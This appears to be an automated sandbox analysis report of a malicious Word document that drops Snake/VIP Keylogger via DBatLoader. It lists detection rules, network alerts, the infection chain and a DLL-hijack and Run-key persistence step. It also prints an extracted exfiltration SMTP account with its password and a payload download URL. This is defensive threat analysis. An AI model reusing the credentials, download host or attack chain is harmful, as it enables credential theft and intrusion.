15.2.jphwmyiA.pif.1e710000.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3d96a:$a1: get_encryptedPassword 0x3d93e:$a2: get_encryptedUsername 0x3da02:$a3: get_timePasswordChanged 0x3d91a:$a4: get_passwordField 0x3d980:$a5: set_encryptedPassword 0x3d74d:$a7: get_logins 0x38d9a:$a10: KeyLoggerEventArgs 0x38d69:$a11: KeyLoggerEventArgsEventHandler 0x3d821:$a13: _encryptedPassword
19.3.jphwmyiA.pif.207aee58.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x47b86:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x47229:$a3: \Google\Chrome\User Data\Default\Login Data 0x47486:$a4: \Orbitum\User Data\Default\Login Data 0x47e65:$a5: \Kometa\User Data\Default\Login Data
19.2.jphwmyiA.pif.22770ee8.5.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
19.3.jphwmyiA.pif.207aee58.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x3e882:$a1: get_encryptedPassword 0x3e856:$a2: get_encryptedUsername 0x3e91a:$a3: get_timePasswordChanged 0x3e832:$a4: get_passwordField 0x3e898:$a5: set_encryptedPassword 0x3e665:$a7: get_logins 0x39cb2:$a10: KeyLoggerEventArgs 0x39c81:$a11: KeyLoggerEventArgsEventHandler 0x3e739:$a13: _encryptedPassword
19.2.jphwmyiA.pif.22770ee8.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
15.2.jphwmyiA.pif.1e710000.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x48a6e:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x48111:$a3: \Google\Chrome\User Data\Default\Login Data 0x4836e:$a4: \Orbitum\User Data\Default\Login Data 0x48d4d:$a5: \Kometa\User Data\Default\Login Data
19.3.jphwmyiA.pif.207aee58.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3a62a:$s1: UnHook 0x3a5c6:$s2: SetHook 0x3a5ff:$s3: CallNextHook 0x3a58e:$s4: _hook
15.2.jphwmyiA.pif.1e710000.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3b512:$s1: UnHook 0x3b4ae:$s2: SetHook 0x3b4e7:$s3: CallNextHook 0x3b476:$s4: _hook
19.3.jphwmyiA.pif.207aee58.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x49986:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x49029:$a3: \Google\Chrome\User Data\Default\Login Data 0x49286:$a4: \Orbitum\User Data\Default\Login Data 0x49c65:$a5: \Kometa\User Data\Default\Login Data
19.3.jphwmyiA.pif.207aee58.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x3c42a:$s1: UnHook 0x3c3c6:$s2: SetHook 0x3c3ff:$s3: CallNextHook 0x3c38e:$s4: _hook
Click to see the 270 entries

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 5560, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\jphwmyiA.pif, CommandLine: C:\Users\Public\Libraries\jphwmyiA.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\jphwmyiA.pif, NewProcessName: C:\Users\Public\Libraries\jphwmyiA.pif, OriginalFileName: C:\Users\Public\Libraries\jphwmyiA.pif, ParentCommandLine: C:\Windows\SysWOW64\brightness.exe, ParentImage: C:\Windows\SysWOW64\brightness.exe, ParentProcessId: 5560, ParentProcessName: brightness.exe, ProcessCommandLine: C:\Users\Public\Libraries\jphwmyiA.pif, ProcessId: 7208, ProcessName: jphwmyiA.pif

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 3732, TargetFilename: C:\Windows\SysWOW64\brightness.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 5560, TargetFilename: C:\Windows \SysWOW64\svchost.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Aiymwhpj.url, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 5560, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Aiymwhpj

Sigma detected: Parent in Public Folder Suspicious Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Libraries\Aiymwhpj.PIF" , ParentImage: C:\Users\Public\Libraries\Aiymwhpj.PIF, ParentProcessId: 7708, ParentProcessName: Aiymwhpj.PIF, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, ProcessId: 7760, ProcessName: cmd.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 132.226.8.169, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\jphwmyiA.pif, Initiated: true, ProcessId: 7208, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49723

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Aiymwhpj.url, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\brightness.exe, ProcessId: 5560, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Aiymwhpj

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\jphwmyiA.pif, CommandLine: C:\Users\Public\Libraries\jphwmyiA.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\jphwmyiA.pif, NewProcessName: C:\Users\Public\Libraries\jphwmyiA.pif, OriginalFileName: C:\Users\Public\Libraries\jphwmyiA.pif, ParentCommandLine: C:\Windows\SysWOW64\brightness.exe, ParentImage: C:\Windows\SysWOW64\brightness.exe, ParentProcessId: 5560, ParentProcessName: brightness.exe, ProcessCommandLine: C:\Users\Public\Libraries\jphwmyiA.pif, ProcessId: 7208, ProcessName: jphwmyiA.pif

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.5, DestinationIsIpv6: false, DestinationPort: 49710, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Initiated: true, ProcessId: 3732, Protocol: tcp, SourceIp: 147.124.216.113, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 208.91.198.176, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\Public\Libraries\jphwmyiA.pif, Initiated: true, ProcessId: 7208, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 53704

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:54:14.591406+0100	2803305	3	Unknown Traffic	192.168.2.5	49730	188.114.97.3	443	TCP
2025-01-06T07:54:15.975264+0100	2803305	3	Unknown Traffic	192.168.2.5	49733	188.114.97.3	443	TCP
2025-01-06T07:54:22.115322+0100	2803305	3	Unknown Traffic	192.168.2.5	53612	188.114.97.3	443	TCP
2025-01-06T07:54:23.507981+0100	2803305	3	Unknown Traffic	192.168.2.5	53624	188.114.97.3	443	TCP
2025-01-06T07:54:25.736960+0100	2803305	3	Unknown Traffic	192.168.2.5	53644	188.114.97.3	443	TCP
2025-01-06T07:54:33.415581+0100	2803305	3	Unknown Traffic	192.168.2.5	53705	188.114.97.3	443	TCP
2025-01-06T07:54:34.638891+0100	2803305	3	Unknown Traffic	192.168.2.5	53716	188.114.97.3	443	TCP
2025-01-06T07:54:36.240323+0100	2803305	3	Unknown Traffic	192.168.2.5	53731	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:54:12.243144+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49723	132.226.8.169	80	TCP
2025-01-06T07:54:14.133786+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49723	132.226.8.169	80	TCP
2025-01-06T07:54:15.515041+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49731	132.226.8.169	80	TCP
2025-01-06T07:54:16.930648+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49736	132.226.8.169	80	TCP
2025-01-06T07:54:18.508728+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53584	132.226.8.169	80	TCP
2025-01-06T07:54:23.990983+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53623	132.226.8.169	80	TCP
2025-01-06T07:54:25.170046+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53623	132.226.8.169	80	TCP
2025-01-06T07:54:26.967936+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53650	132.226.8.169	80	TCP
2025-01-06T07:54:28.402962+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53662	132.226.8.169	80	TCP
2025-01-06T07:54:29.896406+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53671	132.226.8.169	80	TCP
2025-01-06T07:54:31.399524+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53681	132.226.8.169	80	TCP
2025-01-06T07:54:31.412893+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53683	132.226.8.169	80	TCP
2025-01-06T07:54:32.647270+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53694	132.226.8.169	80	TCP
2025-01-06T07:54:32.866022+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53681	132.226.8.169	80	TCP
2025-01-06T07:54:33.990289+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53709	132.226.8.169	80	TCP
2025-01-06T07:54:34.256624+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53711	132.226.8.169	80	TCP
2025-01-06T07:54:35.694139+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53724	132.226.8.169	80	TCP
2025-01-06T07:54:37.084764+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	53738	132.226.8.169	80	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:54:25.816325+0100	1810007	1	Potentially Bad Traffic	192.168.2.5	53643	149.154.167.220	443	TCP
2025-01-06T07:54:36.927393+0100	1810007	1	Potentially Bad Traffic	192.168.2.5	53734	149.154.167.220	443	TCP
2025-01-06T07:54:44.379776+0100	1810007	1	Potentially Bad Traffic	192.168.2.5	53795	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ITT # KRPBV2663 .doc

Avira: detected

Found malware configuration

Source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}
Source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "info@techniqueqatar.com", "Password": "TechFB2023$$$", "Host": "mail.techniqueqatar.com", "Port": "587", "Version": "4.4"}
Source: 7.0.brightness.exe.400000.0.unpack	Malware Configuration Extractor: DBatLoader {"Download Url": ["http://amazonenviro.com/245_Aiymwhpjxsg"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Aiymwhpj.PIF	ReversingLabs: Detection: 26%
Source: C:\Windows\SysWOW64\brightness.exe	ReversingLabs: Detection: 26%

Multi AV Scanner detection for submitted file

Source: ITT # KRPBV2663 .doc	ReversingLabs: Detection: 47%
Source: ITT # KRPBV2663 .doc	Virustotal: Detection: 56%			Perma Link

Machine Learning detection for sample

Source: ITT # KRPBV2663 .doc

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Unpacked PE file: 10.2.jphwmyiA.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Unpacked PE file: 15.2.jphwmyiA.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Unpacked PE file: 19.2.jphwmyiA.pif.400000.1.unpack

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49726 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:53636 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:53696 version: TLS 1.0

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:53643 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:53734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:53795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:53795 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: brightness.exe, 00000007.00000003.2123881485.000000007F3E0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2163696494.000000007F0CF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.00000000213AA000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2246113616.0000000000872000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2285949011.0000000021030000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020664000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324913590.000000000084E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: brightness.exe, 00000007.00000002.2161329052.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2123335576.000000007F410000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.000000002064A000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: jphwmyiA.pif, 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 0000000F.00000003.2273558803.000000001A4F6000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, jphwmyiA.pif, 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, jphwmyiA.pif, 00000013.00000003.2349806215.0000000020806000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: brightness.exe, 00000007.00000002.2161329052.00000000214AA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2158197461.0000000020490000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000007.00000002.2160861366.0000000021382000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2124248184.0000000000741000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000007.00000003.2123335576.000000007F410000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2245722852.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.000000002064A000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000003.2245722852.0000000000874000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 0000000C.00000002.2278044867.0000000020590000.00000004.00001000.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324467170.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Aiymwhpj.PIF, 00000010.00000003.2324467170.0000000000821000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\brightness.exe

Code function: 7_2_027B58B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

7_2_027B58B4

Software Vulnerabilities

Document exploit detected (creates forbidden files)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: C:\Windows\SysWOW64\brightness.exe

Jump to behavior

Document exploit detected (drops PE files)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

File created: brightness.exe.0.dr

Jump to dropped file

Document exploit detected (process start blacklist hit)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process created: C:\Windows\SysWOW64\brightness.exe

Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	10_2_20E5DC80
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 23F7F2B5h	10_2_23F7F0C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 23F7FC3Fh	10_2_23F7F0C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-40h]	10_2_23F7FD28
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 23F7E0C5h	10_2_23F7E114
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_23F7E5E8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 23F7E0C5h	10_2_23F7DF07
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_23F7EDFB
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-40h]	10_2_23F7FD20
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	10_2_23F7EC1B
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503185Dh	10_2_25031440
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503CDE1h	10_2_2503CB38
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250310E9h	10_2_25030E38
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503E7F1h	10_2_2503E548
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503B829h	10_2_2503B580
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503EC49h	10_2_2503E9A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503BC81h	10_2_2503B9D8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503F0A1h	10_2_2503EDF8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503DAE9h	10_2_2503D840
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503DF41h	10_2_2503DC98
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503E399h	10_2_2503E0F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503FDA9h	10_2_2503FB00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503185Dh	10_2_2503178B
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503D239h	10_2_2503CF90
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503D691h	10_2_2503D3E8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503C0D9h	10_2_2503BE30
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503F4F9h	10_2_2503F250
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503C531h	10_2_2503C288
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503F951h	10_2_2503F6A8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2503C989h	10_2_2503C6E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250468FDh	10_2_250465C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25042151h	10_2_25041EA8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25047DC0h	10_2_25047AF0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25045FB9h	10_2_25045D10
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25043BC1h	10_2_25043918
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504E5EEh	10_2_2504E320
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504C5FEh	10_2_2504C330
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504A60Eh	10_2_2504A340
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25040FF1h	10_2_25040D48
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504F82Eh	10_2_2504F560
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25046411h	10_2_25046168
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504701Ah	10_2_25046F69
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504701Ah	10_2_25046F70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25044019h	10_2_25043D70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504D83Eh	10_2_2504D570
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504B84Eh	10_2_2504B580
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov esp, ebp	10_2_25049B8A
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25041449h	10_2_250411A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504EA7Eh	10_2_2504E7B0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504CA8Eh	10_2_2504C7C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25044471h	10_2_250441C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504AA9Eh	10_2_2504A7D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504FCBEh	10_2_2504F9F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250418A1h	10_2_250415F8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504DCCEh	10_2_2504DA00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504BCDEh	10_2_2504BA10
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250448C9h	10_2_25044620
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504EF0Eh	10_2_2504EC40
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250402E9h	10_2_25040040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25041CF9h	10_2_25041A50
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504CF1Eh	10_2_2504CC50
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504AF2Eh	10_2_2504AC60
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25045709h	10_2_25045460
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25043311h	10_2_25043068
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25044D21h	10_2_25044A78
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504E15Eh	10_2_2504DE90
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25040741h	10_2_25040498
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504C16Eh	10_2_2504BEA0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504A17Eh	10_2_25049EB0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25045B61h	10_2_250458B8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25043769h	10_2_250434C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504517Bh	10_2_25044ED0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504F39Eh	10_2_2504F0D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504D3AEh	10_2_2504D0E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2504B3BEh	10_2_2504B0F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 25040B99h	10_2_250408F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B4C77h	10_2_250B4908
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B52A0h	10_2_250B4FA8
